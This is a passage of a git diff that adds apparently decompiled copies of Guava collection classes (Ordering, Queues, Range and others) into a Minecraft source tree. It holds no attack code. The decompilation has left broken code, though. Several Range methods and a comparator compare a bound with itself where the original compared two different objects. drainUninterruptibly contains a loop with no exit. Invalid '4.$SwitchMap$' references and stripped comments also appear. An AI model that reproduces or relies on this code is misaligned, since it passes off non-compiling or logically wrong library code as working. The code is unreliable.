+  static final int RIGHT_IS_GREATER = -1;
+  
+  @GwtCompatible(serializable=true)
+  public static <C extends Comparable> Ordering<C> natural()
+  {
+    return NaturalOrdering.INSTANCE;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  @GwtCompatible(serializable=true)
+  public static <T> Ordering<T> from(Comparator<T> comparator)
+  {
+    return (comparator instanceof Ordering) ? (Ordering)comparator : new ComparatorOrdering(comparator);
+  }
+  
+
+
+
+
+
+  @Deprecated
+  @GwtCompatible(serializable=true)
+  public static <T> Ordering<T> from(Ordering<T> ordering)
+  {
+    return (Ordering)Preconditions.checkNotNull(ordering);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  @GwtCompatible(serializable=true)
+  public static <T> Ordering<T> explicit(List<T> valuesInOrder)
+  {
+    return new ExplicitOrdering(valuesInOrder);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  @GwtCompatible(serializable=true)
+  public static <T> Ordering<T> explicit(T leastValue, T... remainingValuesInOrder)
+  {
+    return explicit(Lists.asList(leastValue, remainingValuesInOrder));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  @GwtCompatible(serializable=true)
+  public static Ordering<Object> allEqual()
+  {
+    return AllEqualOrdering.INSTANCE;
+  }
+  
+
+
+
+
+
+
+  @GwtCompatible(serializable=true)
+  public static Ordering<Object> usingToString()
+  {
+    return UsingToStringOrdering.INSTANCE;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static Ordering<Object> arbitrary() { return ArbitraryOrderingHolder.ARBITRARY_ORDERING; }
+  
+  protected Ordering() {}
+  private static class ArbitraryOrderingHolder { private ArbitraryOrderingHolder() {}
+    static final Ordering<Object> ARBITRARY_ORDERING = new Ordering.ArbitraryOrdering();
+    
+     }
+  @VisibleForTesting
+  static class ArbitraryOrdering extends Ordering<Object> { private Map<Object, Integer> uids = Platform.tryWeakKeys(new MapMaker()).makeComputingMap(new Function()
+    {
+
+
+      final AtomicInteger counter = new AtomicInteger(0);
+      
+      public Integer apply(Object from) {
+        return Integer.valueOf(counter.getAndIncrement());
+      }
+    });
+    
+
+
+
+    ArbitraryOrdering() {}
+    
+
+
+
+    public int compare(Object left, Object right)
+    {
+      if (left == right)
+        return 0;
+      if (left == null)
+        return -1;
+      if (right == null) {
+        return 1;
+      }
+      int leftCode = identityHashCode(left);
+      int rightCode = identityHashCode(right);
+      if (leftCode != rightCode) {
+        return leftCode < rightCode ? -1 : 1;
+      }
+      
+
+      int result = ((Integer)uids.get(left)).compareTo((Integer)uids.get(right));
+      if (result == 0) {
+        throw new AssertionError();
+      }
+      return result;
+    }
+    
+    public String toString() {
+      return "Ordering.arbitrary()";
+    }
+    
+
+
+
+
+
+
+
+    int identityHashCode(Object object)
+    {
+      return System.identityHashCode(object);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  @GwtCompatible(serializable=true)
+  public <S extends T> Ordering<S> reverse()
+  {
+    return new ReverseOrdering(this);
+  }
+  
+
+
+
+
+
+  @GwtCompatible(serializable=true)
+  public <S extends T> Ordering<S> nullsFirst()
+  {
+    return new NullsFirstOrdering(this);
+  }
+  
+
+
+
+
+
+  @GwtCompatible(serializable=true)
+  public <S extends T> Ordering<S> nullsLast()
+  {
+    return new NullsLastOrdering(this);
+  }
+  
+
+
+
+
+
+
+
+
+  @GwtCompatible(serializable=true)
+  public <F> Ordering<F> onResultOf(Function<F, ? extends T> function)
+  {
+    return new ByFunctionOrdering(function, this);
+  }
+  
+  <T2 extends T> Ordering<Map.Entry<T2, ?>> onKeys() {
+    return onResultOf(Maps.keyFunction());
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  @GwtCompatible(serializable=true)
+  public <U extends T> Ordering<U> compound(Comparator<? super U> secondaryComparator)
+  {
+    return new CompoundOrdering(this, (Comparator)Preconditions.checkNotNull(secondaryComparator));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  @GwtCompatible(serializable=true)
+  public static <T> Ordering<T> compound(Iterable<? extends Comparator<? super T>> comparators)
+  {
+    return new CompoundOrdering(comparators);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  @GwtCompatible(serializable=true)
+  public <S extends T> Ordering<Iterable<S>> lexicographical()
+  {
+    return new LexicographicalOrdering(this);
+  }
+  
+
+
+
+
+
+
+
+
+  public abstract int compare(@Nullable T paramT1, @Nullable T paramT2);
+  
+
+
+
+
+
+
+
+
+  public <E extends T> E min(Iterator<E> iterator)
+  {
+    E minSoFar = iterator.next();
+    
+    while (iterator.hasNext()) {
+      minSoFar = min(minSoFar, iterator.next());
+    }
+    
+    return minSoFar;
+  }
+  
+
+
+
+
+
+
+
+
+  public <E extends T> E min(Iterable<E> iterable)
+  {
+    return min(iterable.iterator());
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public <E extends T> E min(@Nullable E a, @Nullable E b)
+  {
+    return compare(a, b) <= 0 ? a : b;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public <E extends T> E min(@Nullable E a, @Nullable E b, @Nullable E c, E... rest)
+  {
+    E minSoFar = min(min(a, b), c);
+    
+    for (E r : rest) {
+      minSoFar = min(minSoFar, r);
+    }
+    
+    return minSoFar;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public <E extends T> E max(Iterator<E> iterator)
+  {
+    E maxSoFar = iterator.next();
+    
+    while (iterator.hasNext()) {
+      maxSoFar = max(maxSoFar, iterator.next());
+    }
+    
+    return maxSoFar;
+  }
+  
+
+
+
+
+
+
+
+
+  public <E extends T> E max(Iterable<E> iterable)
+  {
+    return max(iterable.iterator());
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public <E extends T> E max(@Nullable E a, @Nullable E b)
+  {
+    return compare(a, b) >= 0 ? a : b;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public <E extends T> E max(@Nullable E a, @Nullable E b, @Nullable E c, E... rest)
+  {
+    E maxSoFar = max(max(a, b), c);
+    
+    for (E r : rest) {
+      maxSoFar = max(maxSoFar, r);
+    }
+    
+    return maxSoFar;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public <E extends T> List<E> leastOf(Iterable<E> iterable, int k)
+  {
+    if ((iterable instanceof Collection)) {
+      Collection<E> collection = (Collection)iterable;
+      if (collection.size() <= 2L * k)
+      {
+
+
+
+
+        E[] array = (Object[])collection.toArray();
+        Arrays.sort(array, this);
+        if (array.length > k) {
+          array = ObjectArrays.arraysCopyOf(array, k);
+        }
+        return Collections.unmodifiableList(Arrays.asList(array));
+      }
+    }
+    return leastOf(iterable.iterator(), k);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public <E extends T> List<E> leastOf(Iterator<E> elements, int k)
+  {
+    Preconditions.checkNotNull(elements);
+    CollectPreconditions.checkNonnegative(k, "k");
+    
+    if ((k == 0) || (!elements.hasNext()))
+      return ImmutableList.of();
+    if (k >= 1073741823)
+    {
+      ArrayList<E> list = Lists.newArrayList(elements);
+      Collections.sort(list, this);
+      if (list.size() > k) {
+        list.subList(k, list.size()).clear();
+      }
+      list.trimToSize();
+      return Collections.unmodifiableList(list);
+    }
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    int bufferCap = k * 2;
+    
+    E[] buffer = (Object[])new Object[bufferCap];
+    E threshold = elements.next();
+    buffer[0] = threshold;
+    int bufferSize = 1;
+    
+
+
+    while ((bufferSize < k) && (elements.hasNext())) {
+      E e = elements.next();
+      buffer[(bufferSize++)] = e;
+      threshold = max(threshold, e);
+    }
+    
+    while (elements.hasNext()) {
+      E e = elements.next();
+      if (compare(e, threshold) < 0)
+      {
+
+
+        buffer[(bufferSize++)] = e;
+        if (bufferSize == bufferCap)
+        {
+
+          int left = 0;
+          int right = bufferCap - 1;
+          
+          int minThresholdPosition = 0;
+          
+
+
+          while (left < right) {
+            int pivotIndex = left + right + 1 >>> 1;
+            int pivotNewIndex = partition(buffer, left, right, pivotIndex);
+            if (pivotNewIndex > k) {
+              right = pivotNewIndex - 1;
+            } else { if (pivotNewIndex >= k) break;
+              left = Math.max(pivotNewIndex, left + 1);
+              minThresholdPosition = pivotNewIndex;
+            }
+          }
+          
+
+          bufferSize = k;
+          
+          threshold = buffer[minThresholdPosition];
+          for (int i = minThresholdPosition + 1; i < bufferSize; i++) {
+            threshold = max(threshold, buffer[i]);
+          }
+        }
+      }
+    }
+    Arrays.sort(buffer, 0, bufferSize, this);
+    
+    bufferSize = Math.min(bufferSize, k);
+    return Collections.unmodifiableList(Arrays.asList(ObjectArrays.arraysCopyOf(buffer, bufferSize)));
+  }
+  
+
+
+  private <E extends T> int partition(E[] values, int left, int right, int pivotIndex)
+  {
+    E pivotValue = values[pivotIndex];
+    
+    values[pivotIndex] = values[right];
+    values[right] = pivotValue;
+    
+    int storeIndex = left;
+    for (int i = left; i < right; i++) {
+      if (compare(values[i], pivotValue) < 0) {
+        ObjectArrays.swap(values, storeIndex, i);
+        storeIndex++;
+      }
+    }
+    ObjectArrays.swap(values, right, storeIndex);
+    return storeIndex;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public <E extends T> List<E> greatestOf(Iterable<E> iterable, int k)
+  {
+    return reverse().leastOf(iterable, k);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public <E extends T> List<E> greatestOf(Iterator<E> iterator, int k)
+  {
+    return reverse().leastOf(iterator, k);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public <E extends T> List<E> sortedCopy(Iterable<E> elements)
+  {
+    E[] array = (Object[])Iterables.toArray(elements);
+    Arrays.sort(array, this);
+    return Lists.newArrayList(Arrays.asList(array));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public <E extends T> ImmutableList<E> immutableSortedCopy(Iterable<E> elements)
+  {
+    E[] array = (Object[])Iterables.toArray(elements);
+    for (E e : array) {
+      Preconditions.checkNotNull(e);
+    }
+    Arrays.sort(array, this);
+    return ImmutableList.asImmutableList(array);
+  }
+  
+
+
+
+
+
+  public boolean isOrdered(Iterable<? extends T> iterable)
+  {
+    Iterator<? extends T> it = iterable.iterator();
+    if (it.hasNext()) {
+      T prev = it.next();
+      while (it.hasNext()) {
+        T next = it.next();
+        if (compare(prev, next) > 0) {
+          return false;
+        }
+        prev = next;
+      }
+    }
+    return true;
+  }
+  
+
+
+
+
+
+  public boolean isStrictlyOrdered(Iterable<? extends T> iterable)
+  {
+    Iterator<? extends T> it = iterable.iterator();
+    if (it.hasNext()) {
+      T prev = it.next();
+      while (it.hasNext()) {
+        T next = it.next();
+        if (compare(prev, next) >= 0) {
+          return false;
+        }
+        prev = next;
+      }
+    }
+    return true;
+  }
+  
+
+
+
+
+
+
+
+  public int binarySearch(List<? extends T> sortedList, @Nullable T key)
+  {
+    return Collections.binarySearch(sortedList, key, this);
+  }
+  
+
+  @VisibleForTesting
+  static class IncomparableValueException
+    extends ClassCastException
+  {
+    final Object value;
+    
+    private static final long serialVersionUID = 0L;
+    
+
+    IncomparableValueException(Object value)
+    {
+      super();
+      this.value = value;
+    }
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/PeekingIterator.java b/src/minecraft/com/google/common/collect/PeekingIterator.java
new file mode 100644
index 0000000..307ea04
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/PeekingIterator.java
@@ -0,0 +1,15 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import java.util.Iterator;
+
+@GwtCompatible
+public abstract interface PeekingIterator<E>
+  extends Iterator<E>
+{
+  public abstract E peek();
+  
+  public abstract E next();
+  
+  public abstract void remove();
+}
diff --git a/src/minecraft/com/google/common/collect/Platform.java b/src/minecraft/com/google/common/collect/Platform.java
new file mode 100644
index 0000000..0a07fba
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/Platform.java
@@ -0,0 +1,99 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.base.Function;
+import com.google.common.base.Predicate;
+import java.lang.reflect.Array;
+import java.util.Collections;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.NavigableMap;
+import java.util.NavigableSet;
+import java.util.Set;
+import java.util.SortedMap;
+import java.util.SortedSet;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible(emulated=true)
+final class Platform
+{
+  static <T> T[] newArray(T[] reference, int length)
+  {
+    Class<?> type = reference.getClass().getComponentType();
+    
+
+
+
+    T[] result = (Object[])Array.newInstance(type, length);
+    return result;
+  }
+  
+  static <E> Set<E> newSetFromMap(Map<E, Boolean> map) {
+    return Collections.newSetFromMap(map);
+  }
+  
+
+
+
+
+
+  static MapMaker tryWeakKeys(MapMaker mapMaker)
+  {
+    return mapMaker.weakKeys();
+  }
+  
+
+  static <K, V1, V2> SortedMap<K, V2> mapsTransformEntriesSortedMap(SortedMap<K, V1> fromMap, Maps.EntryTransformer<? super K, ? super V1, V2> transformer)
+  {
+    return (fromMap instanceof NavigableMap) ? Maps.transformEntries((NavigableMap)fromMap, transformer) : Maps.transformEntriesIgnoreNavigable(fromMap, transformer);
+  }
+  
+
+
+  static <K, V> SortedMap<K, V> mapsAsMapSortedSet(SortedSet<K> set, Function<? super K, V> function)
+  {
+    return (set instanceof NavigableSet) ? Maps.asMap((NavigableSet)set, function) : Maps.asMapSortedIgnoreNavigable(set, function);
+  }
+  
+
+
+  static <E> SortedSet<E> setsFilterSortedSet(SortedSet<E> set, Predicate<? super E> predicate)
+  {
+    return (set instanceof NavigableSet) ? Sets.filter((NavigableSet)set, predicate) : Sets.filterSortedIgnoreNavigable(set, predicate);
+  }
+  
+
+
+  static <K, V> SortedMap<K, V> mapsFilterSortedMap(SortedMap<K, V> map, Predicate<? super Map.Entry<K, V>> predicate)
+  {
+    return (map instanceof NavigableMap) ? Maps.filterEntries((NavigableMap)map, predicate) : Maps.filterSortedIgnoreNavigable(map, predicate);
+  }
+  
+  private Platform() {}
+}
diff --git a/src/minecraft/com/google/common/collect/Queues.java b/src/minecraft/com/google/common/collect/Queues.java
new file mode 100644
index 0000000..2a12bd3
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/Queues.java
@@ -0,0 +1,399 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.Beta;
+import com.google.common.base.Preconditions;
+import java.util.ArrayDeque;
+import java.util.Collection;
+import java.util.Deque;
+import java.util.PriorityQueue;
+import java.util.Queue;
+import java.util.concurrent.ArrayBlockingQueue;
+import java.util.concurrent.BlockingQueue;
+import java.util.concurrent.ConcurrentLinkedQueue;
+import java.util.concurrent.LinkedBlockingDeque;
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.PriorityBlockingQueue;
+import java.util.concurrent.SynchronousQueue;
+import java.util.concurrent.TimeUnit;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class Queues
+{
+  private Queues() {}
+  
+  public static <E> ArrayBlockingQueue<E> newArrayBlockingQueue(int capacity)
+  {
+    return new ArrayBlockingQueue(capacity);
+  }
+  
+
+
+
+
+
+
+  public static <E> ArrayDeque<E> newArrayDeque()
+  {
+    return new ArrayDeque();
+  }
+  
+
+
+
+
+
+  public static <E> ArrayDeque<E> newArrayDeque(Iterable<? extends E> elements)
+  {
+    if ((elements instanceof Collection)) {
+      return new ArrayDeque(Collections2.cast(elements));
+    }
+    ArrayDeque<E> deque = new ArrayDeque();
+    Iterables.addAll(deque, elements);
+    return deque;
+  }
+  
+
+
+
+
+  public static <E> ConcurrentLinkedQueue<E> newConcurrentLinkedQueue()
+  {
+    return new ConcurrentLinkedQueue();
+  }
+  
+
+
+
+
+  public static <E> ConcurrentLinkedQueue<E> newConcurrentLinkedQueue(Iterable<? extends E> elements)
+  {
+    if ((elements instanceof Collection)) {
+      return new ConcurrentLinkedQueue(Collections2.cast(elements));
+    }
+    ConcurrentLinkedQueue<E> queue = new ConcurrentLinkedQueue();
+    Iterables.addAll(queue, elements);
+    return queue;
+  }
+  
+
+
+
+
+
+
+  public static <E> LinkedBlockingDeque<E> newLinkedBlockingDeque()
+  {
+    return new LinkedBlockingDeque();
+  }
+  
+
+
+
+
+
+  public static <E> LinkedBlockingDeque<E> newLinkedBlockingDeque(int capacity)
+  {
+    return new LinkedBlockingDeque(capacity);
+  }
+  
+
+
+
+
+
+
+  public static <E> LinkedBlockingDeque<E> newLinkedBlockingDeque(Iterable<? extends E> elements)
+  {
+    if ((elements instanceof Collection)) {
+      return new LinkedBlockingDeque(Collections2.cast(elements));
+    }
+    LinkedBlockingDeque<E> deque = new LinkedBlockingDeque();
+    Iterables.addAll(deque, elements);
+    return deque;
+  }
+  
+
+
+
+
+  public static <E> LinkedBlockingQueue<E> newLinkedBlockingQueue()
+  {
+    return new LinkedBlockingQueue();
+  }
+  
+
+
+
+
+  public static <E> LinkedBlockingQueue<E> newLinkedBlockingQueue(int capacity)
+  {
+    return new LinkedBlockingQueue(capacity);
+  }
+  
+
+
+
+
+
+
+
+  public static <E> LinkedBlockingQueue<E> newLinkedBlockingQueue(Iterable<? extends E> elements)
+  {
+    if ((elements instanceof Collection)) {
+      return new LinkedBlockingQueue(Collections2.cast(elements));
+    }
+    LinkedBlockingQueue<E> queue = new LinkedBlockingQueue();
+    Iterables.addAll(queue, elements);
+    return queue;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public static <E extends Comparable> PriorityBlockingQueue<E> newPriorityBlockingQueue()
+  {
+    return new PriorityBlockingQueue();
+  }
+  
+
+
+
+
+
+
+
+
+  public static <E extends Comparable> PriorityBlockingQueue<E> newPriorityBlockingQueue(Iterable<? extends E> elements)
+  {
+    if ((elements instanceof Collection)) {
+      return new PriorityBlockingQueue(Collections2.cast(elements));
+    }
+    PriorityBlockingQueue<E> queue = new PriorityBlockingQueue();
+    Iterables.addAll(queue, elements);
+    return queue;
+  }
+  
+
+
+
+
+
+
+
+  public static <E extends Comparable> PriorityQueue<E> newPriorityQueue()
+  {
+    return new PriorityQueue();
+  }
+  
+
+
+
+
+
+
+
+
+  public static <E extends Comparable> PriorityQueue<E> newPriorityQueue(Iterable<? extends E> elements)
+  {
+    if ((elements instanceof Collection)) {
+      return new PriorityQueue(Collections2.cast(elements));
+    }
+    PriorityQueue<E> queue = new PriorityQueue();
+    Iterables.addAll(queue, elements);
+    return queue;
+  }
+  
+
+
+
+
+  public static <E> SynchronousQueue<E> newSynchronousQueue()
+  {
+    return new SynchronousQueue();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  @Beta
+  public static <E> int drain(BlockingQueue<E> q, Collection<? super E> buffer, int numElements, long timeout, TimeUnit unit)
+    throws InterruptedException
+  {
+    Preconditions.checkNotNull(buffer);
+    
+
+
+
+
+    long deadline = System.nanoTime() + unit.toNanos(timeout);
+    int added = 0;
+    while (added < numElements)
+    {
+
+      added += q.drainTo(buffer, numElements - added);
+      if (added < numElements) {
+        E e = q.poll(deadline - System.nanoTime(), TimeUnit.NANOSECONDS);
+        if (e == null) {
+          break;
+        }
+        buffer.add(e);
+        added++;
+      }
+    }
+    return added;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  @Beta
+  public static <E> int drainUninterruptibly(BlockingQueue<E> q, Collection<? super E> buffer, int numElements, long timeout, TimeUnit unit)
+  {
+    Preconditions.checkNotNull(buffer);
+    long deadline = System.nanoTime() + unit.toNanos(timeout);
+    int added = 0;
+    boolean interrupted = false;
+    try {
+      while (added < numElements)
+      {
+
+        added += q.drainTo(buffer, numElements - added);
+        if (added < numElements) {
+          E e;
+          for (;;) {
+            try {
+              e = q.poll(deadline - System.nanoTime(), TimeUnit.NANOSECONDS);
+            }
+            catch (InterruptedException ex) {
+              interrupted = true;
+            }
+          }
+          if (e == null) {
+            break;
+          }
+          buffer.add(e);
+          added++;
+        }
+      }
+    } finally {
+      if (interrupted) {
+        Thread.currentThread().interrupt();
+      }
+    }
+    return added;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  @Beta
+  public static <E> Queue<E> synchronizedQueue(Queue<E> queue)
+  {
+    return Synchronized.queue(queue, null);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  @Beta
+  public static <E> Deque<E> synchronizedDeque(Deque<E> deque)
+  {
+    return Synchronized.deque(deque, null);
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/Range.java b/src/minecraft/com/google/common/collect/Range.java
new file mode 100644
index 0000000..e7ed76a
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/Range.java
@@ -0,0 +1,685 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.base.Function;
+import com.google.common.base.Preconditions;
+import com.google.common.base.Predicate;
+import java.io.Serializable;
+import java.util.Comparator;
+import java.util.Iterator;
+import java.util.SortedSet;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible
+public final class Range<C extends Comparable>
+  implements Predicate<C>, Serializable
+{
+  private static final Function<Range, Cut> LOWER_BOUND_FN = new Function()
+  {
+    public Cut apply(Range range) {
+      return lowerBound;
+    }
+  };
+  
+  static <C extends Comparable<?>> Function<Range<C>, Cut<C>> lowerBoundFn()
+  {
+    return LOWER_BOUND_FN;
+  }
+  
+  private static final Function<Range, Cut> UPPER_BOUND_FN = new Function()
+  {
+    public Cut apply(Range range) {
+      return upperBound;
+    }
+  };
+  
+  static <C extends Comparable<?>> Function<Range<C>, Cut<C>> upperBoundFn()
+  {
+    return UPPER_BOUND_FN;
+  }
+  
+  static final Ordering<Range<?>> RANGE_LEX_ORDERING = new Ordering()
+  {
+    public int compare(Range<?> left, Range<?> right) {
+      return ComparisonChain.start().compare(lowerBound, lowerBound).compare(upperBound, upperBound).result();
+    }
+  };
+  
+
+
+
+  static <C extends Comparable<?>> Range<C> create(Cut<C> lowerBound, Cut<C> upperBound)
+  {
+    return new Range(lowerBound, upperBound);
+  }
+  
+
+
+
+
+
+
+
+  public static <C extends Comparable<?>> Range<C> open(C lower, C upper)
+  {
+    return create(Cut.aboveValue(lower), Cut.belowValue(upper));
+  }
+  
+
+
+
+
+
+
+
+  public static <C extends Comparable<?>> Range<C> closed(C lower, C upper)
+  {
+    return create(Cut.belowValue(lower), Cut.aboveValue(upper));
+  }
+  
+
+
+
+
+
+
+
+
+  public static <C extends Comparable<?>> Range<C> closedOpen(C lower, C upper)
+  {
+    return create(Cut.belowValue(lower), Cut.belowValue(upper));
+  }
+  
+
+
+
+
+
+
+
+
+  public static <C extends Comparable<?>> Range<C> openClosed(C lower, C upper)
+  {
+    return create(Cut.aboveValue(lower), Cut.aboveValue(upper));
+  }
+  
+
+
+
+
+
+
+
+
+
+  public static <C extends Comparable<?>> Range<C> range(C lower, BoundType lowerType, C upper, BoundType upperType)
+  {
+    Preconditions.checkNotNull(lowerType);
+    Preconditions.checkNotNull(upperType);
+    
+    Cut<C> lowerBound = lowerType == BoundType.OPEN ? Cut.aboveValue(lower) : Cut.belowValue(lower);
+    
+
+    Cut<C> upperBound = upperType == BoundType.OPEN ? Cut.belowValue(upper) : Cut.aboveValue(upper);
+    
+
+    return create(lowerBound, upperBound);
+  }
+  
+
+
+
+
+
+  public static <C extends Comparable<?>> Range<C> lessThan(C endpoint)
+  {
+    return create(Cut.belowAll(), Cut.belowValue(endpoint));
+  }
+  
+
+
+
+
+
+  public static <C extends Comparable<?>> Range<C> atMost(C endpoint)
+  {
+    return create(Cut.belowAll(), Cut.aboveValue(endpoint));
+  }
+  
+
+
+
+
+
+
+  public static <C extends Comparable<?>> Range<C> upTo(C endpoint, BoundType boundType)
+  {
+    switch (4.$SwitchMap$com$google$common$collect$BoundType[boundType.ordinal()]) {
+    case 1: 
+      return lessThan(endpoint);
+    case 2: 
+      return atMost(endpoint);
+    }
+    throw new AssertionError();
+  }
+  
+
+
+
+
+
+
+  public static <C extends Comparable<?>> Range<C> greaterThan(C endpoint)
+  {
+    return create(Cut.aboveValue(endpoint), Cut.aboveAll());
+  }
+  
+
+
+
+
+
+  public static <C extends Comparable<?>> Range<C> atLeast(C endpoint)
+  {
+    return create(Cut.belowValue(endpoint), Cut.aboveAll());
+  }
+  
+
+
+
+
+
+
+  public static <C extends Comparable<?>> Range<C> downTo(C endpoint, BoundType boundType)
+  {
+    switch (4.$SwitchMap$com$google$common$collect$BoundType[boundType.ordinal()]) {
+    case 1: 
+      return greaterThan(endpoint);
+    case 2: 
+      return atLeast(endpoint);
+    }
+    throw new AssertionError();
+  }
+  
+
+  private static final Range<Comparable> ALL = new Range(Cut.belowAll(), Cut.aboveAll());
+  
+  final Cut<C> lowerBound;
+  
+  final Cut<C> upperBound;
+  
+  private static final long serialVersionUID = 0L;
+  
+  public static <C extends Comparable<?>> Range<C> all()
+  {
+    return ALL;
+  }
+  
+
+
+
+
+
+
+  public static <C extends Comparable<?>> Range<C> singleton(C value)
+  {
+    return closed(value, value);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public static <C extends Comparable<?>> Range<C> encloseAll(Iterable<C> values)
+  {
+    Preconditions.checkNotNull(values);
+    if ((values instanceof ContiguousSet)) {
+      return ((ContiguousSet)values).range();
+    }
+    Iterator<C> valueIterator = values.iterator();
+    C min = (Comparable)Preconditions.checkNotNull(valueIterator.next());
+    C max = min;
+    while (valueIterator.hasNext()) {
+      C value = (Comparable)Preconditions.checkNotNull(valueIterator.next());
+      min = (Comparable)Ordering.natural().min(min, value);
+      max = (Comparable)Ordering.natural().max(max, value);
+    }
+    return closed(min, max);
+  }
+  
+
+
+  private Range(Cut<C> lowerBound, Cut<C> upperBound)
+  {
+    if ((lowerBound.compareTo(upperBound) > 0) || (lowerBound == Cut.aboveAll()) || (upperBound == Cut.belowAll()))
+    {
+      throw new IllegalArgumentException("Invalid range: " + toString(lowerBound, upperBound));
+    }
+    this.lowerBound = ((Cut)Preconditions.checkNotNull(lowerBound));
+    this.upperBound = ((Cut)Preconditions.checkNotNull(upperBound));
+  }
+  
+
+
+  public boolean hasLowerBound()
+  {
+    return lowerBound != Cut.belowAll();
+  }
+  
+
+
+
+
+
+  public C lowerEndpoint()
+  {
+    return lowerBound.endpoint();
+  }
+  
+
+
+
+
+
+
+  public BoundType lowerBoundType()
+  {
+    return lowerBound.typeAsLowerBound();
+  }
+  
+
+
+  public boolean hasUpperBound()
+  {
+    return upperBound != Cut.aboveAll();
+  }
+  
+
+
+
+
+
+  public C upperEndpoint()
+  {
+    return upperBound.endpoint();
+  }
+  
+
+
+
+
+
+
+  public BoundType upperBoundType()
+  {
+    return upperBound.typeAsUpperBound();
+  }
+  
+
+
+
+
+
+
+
+
+  public boolean isEmpty()
+  {
+    return lowerBound.equals(upperBound);
+  }
+  
+
+
+
+
+  public boolean contains(C value)
+  {
+    Preconditions.checkNotNull(value);
+    
+    return (lowerBound.isLessThan(value)) && (!upperBound.isLessThan(value));
+  }
+  
+
+
+
+
+  @Deprecated
+  public boolean apply(C input)
+  {
+    return contains(input);
+  }
+  
+
+
+
+  public boolean containsAll(Iterable<? extends C> values)
+  {
+    if (Iterables.isEmpty(values)) {
+      return true;
+    }
+    
+
+    if ((values instanceof SortedSet)) {
+      SortedSet<? extends C> set = cast(values);
+      Comparator<?> comparator = set.comparator();
+      if ((Ordering.natural().equals(comparator)) || (comparator == null)) {
+        return (contains((Comparable)set.first())) && (contains((Comparable)set.last()));
+      }
+    }
+    
+    for (C value : values) {
+      if (!contains(value)) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public boolean encloses(Range<C> other)
+  {
+    return (lowerBound.compareTo(lowerBound) <= 0) && (upperBound.compareTo(upperBound) >= 0);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public boolean isConnected(Range<C> other)
+  {
+    return (lowerBound.compareTo(upperBound) <= 0) && (lowerBound.compareTo(upperBound) <= 0);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public Range<C> intersection(Range<C> connectedRange)
+  {
+    int lowerCmp = lowerBound.compareTo(lowerBound);
+    int upperCmp = upperBound.compareTo(upperBound);
+    if ((lowerCmp >= 0) && (upperCmp <= 0))
+      return this;
+    if ((lowerCmp <= 0) && (upperCmp >= 0)) {
+      return connectedRange;
+    }
+    Cut<C> newLower = lowerCmp >= 0 ? lowerBound : lowerBound;
+    Cut<C> newUpper = upperCmp <= 0 ? upperBound : upperBound;
+    return create(newLower, newUpper);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public Range<C> span(Range<C> other)
+  {
+    int lowerCmp = lowerBound.compareTo(lowerBound);
+    int upperCmp = upperBound.compareTo(upperBound);
+    if ((lowerCmp <= 0) && (upperCmp >= 0))
+      return this;
